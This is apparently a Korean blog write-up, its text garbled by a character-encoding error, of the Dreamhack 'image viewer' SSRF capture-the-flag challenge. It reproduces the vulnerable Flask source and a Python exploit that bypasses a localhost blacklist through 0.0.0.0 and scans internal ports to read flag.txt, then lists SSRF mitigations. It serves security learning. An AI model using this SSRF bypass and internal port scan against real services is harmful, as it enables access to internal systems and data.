๐๏ธAccess
flask๋ก ์์ฑ๋ image viewer ์๋น์ค์ด๋ค.
SSRF ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋. ํ๋๊ทธ๋ /app/flag.txt์ ์๋ค.
๐พExploit Algorithm & Payload
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
#1
: '/img_viewer' ํ์ด์ง์์ ๋ฒํผ์ ํด๋ฆญํ๋ฉด ํด๋น ๊ฒฝ๋ก์์ static ํด๋ ์์ dream.png ์ด๋ฏธ์ง๋ก ์ด๋ํ ์ ์๋ url์ฒ๋ผ ๋ณด์ธ๋ค.
#2
: POST ๋ฐฉ์์ผ๋ก ํด๋น ์ด๋ฏธ์ง๋ฅผ ๋ถ๋ฌ์จ ๊ฒฐ๊ณผ ์ ์์ ์ผ๋ก ์ด๋ฏธ์ง๋ฅผ ํ์ธํ ์ ์๋ค.
: ๋ํ ์ด๋ฏธ์ง ํ๊ทธ์ src ์์ฑ์ ๊ฐ์ด base64์ธ์ฝ๋ฉ ๋์ด์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
#3
#...
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
#...
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
#...
: ์๋ฒ ๋์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ local_host๋ ๋ฃจํ๋ฐฑ(127.0.0.1 or localhost or 0.0.0.0)์์ ์ ์ ์๋ค.
: ํ์ง๋ง ๋ฃจํ๋ฐฑ ์ค์์ localhost์ 127.0.0.1์ ๋งํ๋ค.(0.0.0.0์ฌ์ฉ ๊ฐ๋ฅ)
: local_port๋ randomํ๊ฒ 1500~1800์ฌ์ด์์ ์ ์ ์๋ค.
: '/static/dream.png'์ ์๋ต์ Content-Length๋ 51917์ธ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: ๋ฐ๋ผ์ ํฌํธ๋ฒํธ๋ฅผ ๋์์์ผ Content-Length ๊ฐ์ ๋ณํ๋ฅผ ํ์ธํด์ผ๊ฒ ๋ค๊ณ ํ๋จํ๋ค.
๐Analysis and results for obtaining the Flag DH{…}
import requests
url = f"http://host3.dreamhack.games:24474/img_viewer"
#<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhE...">
#base64 ์ธ์ฝ๋ฉ ์ถ๋ ฅ ์ผ๋ถ ๊ฐ
value = "iVBORw0KGgoAAAANSUhE"
#port 1500~1800
for port in range(1500,1801):
#loopback(ban: localhost, 127.0.0.1)
#/app/flag.txt
port = str(port)
randome_url = f"http://0.0.0.0:{port}/flag.txt"
data = {
"url" : randome_url
}
response = requests.post(url, data)
#print(response.text)
content_length = response.headers["Content-Length"]
if value in response.text:
print(f"randome_url: {randome_url}, Content-Length: {content_length} => failure \n")
else:
print(f"[*] randome_url: {randome_url}, Content-Length: {content_length} => success")
print(response.text)
break
: ๋ค์๊ณผ ๊ฐ์ด ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํ๋ค.
: #3์ "/static/dream.png'์ ์๋ต์ Content-Length๋ 51917์ธ ๊ฒ์ ํ์ธํ ์ ์๋ค."๋ผ๋ ๊ฒฐ๊ณผ์๋ ๋ค๋ฅด๊ฒ Content-Length๊ฐ ๋์ค๊ฒ ๋๋ค.
(์ฌ๊ธฐ์๋ 65121)
: ๊ทธ๋๋ ๊ฒฐ๊ตญ port ๋ฒํธ๋ค ์ค์์ ๋ค๋ฅธ Content-Length๋ฅผ ํ์ ํ ์ ์์๊ธฐ ๋๋ฌธ์ ํด๋น ๊ฐ์ด ๋ค๋ฆ์ ์์ฌํ ์ ์์๋ค.
refer to) https://www.convertstring.com/ko/EncodeDecode/Base64Decode
: base64 ์ธ์ฝ๋ฉ ๊ฐ์ผ๋ก ๊ฒฐ๊ณผ๊ฐ ๋์จ ๊ฒ์ ๋์ฝ๋ฉํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
[+] Additional Checks
: burp suite ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ FLAG๋ฅผ ํ๋ํ ์๋ ์๋ค.
๐Summary
Server-Side Request Forgery(SSRF)
์น ์๋น์ค๋ ์ธ๋ถ์์ ์ ๊ทผํ ์ ์๋ ๋ด๋ถ๋ง์ ๊ธฐ๋ฅ์ ์ฌ์ฉํ ๋๊ฐ ๋ง์๋ฐ ์ด ๊ธฐ๋ฅ์ ๋ฐฑ์คํผ์ค ์๋น์ค๋ก ์๋ฅผ ๋ค ์ ์๋ค.
๋ฐฑ์คํผ์ค ์๋น์ค๋ ์ผ์ ์
๋ฌด ์ด์ธ์ ํ๋ฐฉ์์ ์ผ์ ์
๋ฌด๋ฅผ ์ง์ํ๊ณ ๋์์ฃผ๋ ๋ถ์ ๋๋ ๊ทธ๋ฐ ์
๋ฌด์ ๋ชฉ์ ์ด๋ค. ์ฆ, ์ธ๋ถ์์ ์ง์ ์ ๊ทผํ ์ ์๋ ๋ด๋ถ๋ง ์๋น์ค์ ํต์ ํ ์ ์๊ฒ ๋๋ ๊ฒ์ด๋ค. ๋ง์ฝ ๊ณต๊ฒฉ์๊ฐ SSRF ์ทจ์ฝ์ ์ ํตํด ์น ์๋น์ค์ ๊ถํ์ผ๋ก ์์ฒญ์ ๋ณด๋ผ ์ ์๋ค๋ฉด ๊ณต๊ฒฉ์๋ ์ธ๋ถ์์ ๊ฐ์ ์ ์ผ๋ก ๋ด๋ถ๋ง ์๋น์ค๋ฅผ ์ด์ฉํ ์ ์๋ ๊ฒ์ด๋ค.
ํด๋น ์ทจ์ฝ์ ์ ์น ์ ํ๋ฆฌ์ผ์ด์
์ ์์ฒญ์ ๋ณ์กฐํ ์ ์๊ธฐ ๋๋ฌธ์ ๋งค์ฐ ์น๋ช
์ ์ธ ์ทจ์ฝ์ ์ด๋ผ ๋ณผ ์ ์๊ธฐ์ ์ํฉ์ ๋ง๊ฒ ๋์ํ ํ์๊ฐ ์๋ค.
-๋์๋ฐฉ์-
1) ์ ๋ ฅ ์ ํจ์ฑ ๊ฒ์ฌ(ํ์ดํธ๋ฆฌ์คํธ, ๋ธ๋๋ฆฌ์คํธ)
: ์ฌ์ฉ์๊ฐ ์ ๊ณตํ ์ ๋ ฅ๊ณผ URL, ๋งค๊ฐ๋ณ์๋ฅผ ์ฒ ์ ํ๊ฒ ์ ํจ์ฑ ๊ฒ์ฌ ํ์
2) ์ ๋ขฐํ ์ ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฐ ํ๋ ์์ํฌ ์ฌ์ฉ
3) ๋ฐฉํ๋ฒฝ ๊ตฌ์ฑ ์ฃผ์
4) ๋คํธ์ํฌ ๋ถํ
5) ์๋ฒ ์ธก ์์ฒญ ๊ธฐ๋ฅ ์ ํ
...
'[Dreamhack]WebHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level2: blind-command (0) | 2024.01.05 |
---|---|
[Dreamhack] Level1: file-download-1 (0) | 2023.09.03 |
[Dreamhack] Level1: image-storage (0) | 2023.08.26 |
[Dreamhack] Level1: command-injection-1 (0) | 2023.08.24 |
[Dreamhack] Level2: Mango (0) | 2023.08.23 |